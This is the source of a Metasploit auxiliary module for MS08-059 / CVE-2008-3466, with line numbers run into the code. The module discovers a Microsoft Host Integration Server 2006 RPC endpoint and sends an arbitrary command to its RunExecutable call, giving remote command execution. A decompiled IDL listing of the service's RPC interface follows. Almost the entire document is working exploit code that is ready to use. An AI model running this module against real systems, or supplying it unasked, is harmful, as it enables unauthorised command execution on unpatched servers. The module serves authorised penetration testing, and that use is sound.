Path: blob/master/modules/auxiliary/admin/ms/ms08_059_his2006.rb
19852 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::DCERPC78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Microsoft Host Integration Server 2006 Command Execution Vulnerability',13'Description' => %q{14This module exploits a command-injection vulnerability in Microsoft Host Integration Server 2006.15},16'DefaultOptions' => {17'DCERPC::ReadTimeout' => 300 # Long-running RPC calls18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' => [22[ 'MSB', 'MS08-059' ],23[ 'CVE', '2008-3466' ],24[ 'OSVDB', '49068' ],25[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=745' ],26],27'DisclosureDate' => '2008-10-14',28'Notes' => {29'Stability' => [CRASH_SAFE],30'SideEffects' => [IOC_IN_LOGS],31'Reliability' => []32}33)34)3536register_options(37[38Opt::RPORT(0),39OptString.new('COMMAND', [ true, 'The command to execute', 'cmd.exe']),40OptString.new('ARGS', [ true, 'The arguments to the command', '/c echo metasploit > metasploit.txt'])41]42)43end4445def run46dport = datastore['RPORT'].to_i4748if (dport != 0)49print_status('Could not use automatic target when the remote port is given')50return51end5253if (dport == 0)5455dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], 'ed6ee250-e0d1-11cf-925a-00aa00c006c1', '1.0', 'ncacn_ip_tcp')56dport ||= dcerpc_endpoint_find_tcp(datastore['RHOST'], 'ed6ee250-e0d1-11cf-925a-00aa00c006c1', '1.1', 'ncacn_ip_tcp')5758if !dport59print_status('Could not determine the RPC port used by the Service.')60return61end6263print_status("Discovered Host Integration Server RPC service on port #{dport}")64end6566connect(true, { 'RPORT' => dport })6768dcerpc_handle('ed6ee250-e0d1-11cf-925a-00aa00c006c1', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])69print_status("Binding to #{handle} ...")7071dcerpc_bind(handle)72print_status("Bound to #{handle} ...")7374cmd = NDR.string(datastore['COMMAND'].to_s) + NDR.string(datastore['ARGS'].to_s)7576print_status("Sending command: #{datastore['COMMAND']} #{datastore['ARGS']}")7778begin79dcerpc_call(0x01, cmd)80rescue Rex::Proto::DCERPC::Exceptions::NoResponse => e81vprint_error(e.message)82end8384disconnect85end86end8788=begin89/*90* IDL code generated by mIDA v1.0.891* Copyright (C) 2006, Tenable Network Security92* http://cgi.tenablesecurity.com/tenable/mida.php93*94*95* Decompilation information:96* RPC stub type: inline97*/9899[100uuid(ed6ee250-e0d1-11cf-925a-00aa00c006c1),101version(1.1)102]103104interface mIDA_interface105{106107unknown _SnaRpcService_PingServer (108);109110111/* opcode: 0x01, address: 0x01002CBB */112113small _SnaRpcService_RunExecutable (114[in][string] char arg_1,115[in][string] char arg_2116);117118/* opcode: 0x02, address: 0x01002F0B */119120long _SnaRpcService_CallRemoteDll (121[in] long arg_1,122[in][size_is(arg_1)] byte arg_2[],123[in] long arg_3,124[in][size_is(arg_1)] byte arg_4[]125);126127unknown _SnaRpcService_GetInstalledDrives (128);129130unknown _SnaRpcService_ServiceTableUpdate (131);132133134/* opcode: 0x05, address: 0x0100363C */135136long _SnaRpcService_GetWindowsVersion (137[in] long arg_1,138[in, out][size_is(arg_1)] byte arg_2[]139);140141142/* opcode: 0x06, address: 0x01003942 */143144small _SnaRpcService_RunExecutableEx (145[in][string] char arg_1,146[in][string] char arg_2,147[in][string] char arg_3148);149150151/* opcode: 0x07, address: 0x01003BAB */152153long _SnaRpcService_GetDLCMediaType (154[in][string] char arg_1,155[out][ref] long * arg_2156);157158159/* opcode: 0x08, address: 0x01003E29 */160161small _SnaRpcService_UserHasAccess (162[in] long arg_1163);164165166/* opcode: 0x09, address: 0x01004061 */167168small _SnaRpcService_ConfigureHisService (169[in][string] char arg_1170);171172173/* opcode: 0x0A, address: 0x01004272 */174175small _SnaRpcService_ConfigureServiceAccount (176[in][string] char arg_1177);178179}180=end181182183